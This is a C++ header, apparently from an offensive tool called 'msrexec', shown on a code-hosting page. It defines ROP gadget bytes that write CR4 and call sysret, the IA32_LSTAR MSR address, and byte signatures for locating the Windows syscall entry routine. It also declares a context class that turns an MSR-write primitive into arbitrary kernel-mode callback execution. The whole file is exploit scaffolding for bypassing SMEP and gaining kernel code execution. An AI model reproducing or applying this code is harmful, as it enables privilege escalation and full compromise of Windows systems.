You can not select more than 25 topics
Topics must start with a letter or number, can include dashes ('-') and can be up to 35 characters long.
43 lines
1.7 KiB
43 lines
1.7 KiB
#pragma once
|
|
#include "utils.hpp"
|
|
#include "syscall_handler.h"
|
|
#include <intrin.h>
|
|
|
|
#define IA32_LSTAR_MSR 0xC0000082
|
|
#define MOV_CR4_GADGET "\x0F\x22\xE1\xC3"
|
|
#define POP_RCX_GADGET "\x59\xc3"
|
|
#define SYSRET_GADGET "\x48\x0F\x07"
|
|
|
|
// not sure how far back this signature goes... works on 1507 though....
|
|
#define KI_SYSCALL_SIG "\x0F\x01\xF8\x65\x48\x89\x24\x25\x00\x00\x00\x00\x65\x48\x8B\x24\x25\x00\x00\x00\x00\x6A\x2B\x65\xFF\x34\x25\x00\x00\x00\x00\x41\x53\x6A\x00\x51\x49\x8B\xCA"
|
|
#define KI_SYSCALL_MASK "xxxxxxxx????xxxxx????xxxxxx????xxx?xxxx"
|
|
static_assert(sizeof KI_SYSCALL_SIG == sizeof KI_SYSCALL_MASK, "signature/mask invalid size...");
|
|
|
|
#define KI_SYSCALL_SHADOW_SIG "\x0F\x01\xF8\x65\x48\x89\x24\x25\x00\x00\x00\x00\x65\x48\x8B\x24\x25\x00\x00\x00\x00\x65\x0F\xBA\x24\x25\x00\x00\x00\x00\x00\x72\x03\x0F\x22\xDC"
|
|
#define KI_SYSCALL_SHADOW_MASK "xxxxxxxx????xxxxx????xxxxx?????xxxxx"
|
|
static_assert(sizeof KI_SYSCALL_SHADOW_SIG == sizeof KI_SYSCALL_SHADOW_MASK);
|
|
|
|
using get_system_routine_t = void* (*)(void*, const char*);
|
|
using callback_t = std::function<void(void*, get_system_routine_t)>;
|
|
using thread_info_t = std::pair<std::uint32_t, std::uint32_t>;
|
|
using writemsr_t = std::function<bool(std::uint32_t, std::uintptr_t)>;
|
|
|
|
extern "C" void msrexec_handler(callback_t* callback);
|
|
inline get_system_routine_t get_system_routine = nullptr;
|
|
inline void* ntoskrnl_base = nullptr;
|
|
|
|
namespace vdm
|
|
{
|
|
class msrexec_ctx
|
|
{
|
|
public:
|
|
explicit msrexec_ctx(writemsr_t wrmsr);
|
|
void exec(callback_t kernel_callback);
|
|
void set_wrmsr(writemsr_t wrmsr);
|
|
auto get_wrmsr() -> writemsr_t const;
|
|
private:
|
|
auto find_gadgets() -> bool;
|
|
auto find_globals() -> bool;
|
|
writemsr_t wrmsr;
|
|
};
|
|
} |